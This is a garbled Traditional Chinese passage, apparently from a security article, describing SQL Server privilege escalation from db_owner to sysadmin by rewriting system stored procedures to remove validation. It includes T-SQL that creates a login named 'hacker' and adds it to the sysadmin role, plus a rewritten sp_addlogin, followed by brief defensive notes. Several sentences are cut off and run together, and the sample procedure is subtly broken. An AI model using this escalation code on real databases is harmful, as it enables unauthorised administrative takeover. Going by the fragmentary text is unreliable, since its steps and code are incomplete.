db_owner 角色權限 (常見於 Web 應用過度授權)。db_owner 可修改資料庫內的系統預存程序 (如 sp_addlogin, sp_addsrvrolemember),將驗證邏輯移除,繞過密碼複雜度、SID 驗證、保留帳號檢查等,直接建立登入並加入 sysadmin 伺服器角色。
DROP PROCEDURE sp_addloginsp_validname (名稱合法性)sa, public)db_id 預設資料庫驗證sp_validlang 語言驗證sp_addsrvrolemember:移除角色存在性、成員存在性驗證。EXEC sp_addlogin 'hacker', 'P@ssw0rd';
EXEC sp_addsrvrolemember 'hacker', 'sysadmin';CREATE PROCEDURE sp_addlogin
@loginame SYSNAME,
@passwd SYSNAME = NULL,
@defdb SYSNAME = 'master',
@deflanguage SYSNAME = NULL,
@sid VARBINARY(16) = NULL,
@encryptopt VARCHAR(20) = NULL
AS
BEGIN
SET NOCOUNT ON;
DECLARE @ret INT;
SET IMPLICIT_TRANSACTIONS OFF;
IF @@TRANCOUNT > 0
BEGIN
RAISERROR(15002, -1, -1, 'sp_addlogin'); RETURN(1);
END
-- 僅保留核心插入邏輯,所有驗證已移除
EXEC @ret = master.dbo.sp_addlogin @loginame, @passwd, @defdb, @deflanguage, @sid, @encryptopt;
RETURN @ret;
END
註:實際攻擊需繞過 sp_addlogin 本身為系統物件、需 allow updates 或直接修改 sysobjects/syscomments 等限制,手法極其複雜且具破壞性。
db_datareader/db_datawriter + 執行預存程序權限。RESOURCE 資料庫、簽名驗證),舊版可設定 sp_configure 'allow updates', 0 並拒絕 sysadmin 以外修改系統表。ALTER/DROP PROCEDURE 於 master/msdb/使用者資料庫的操作,配合預設追蹤/擴展事件告警。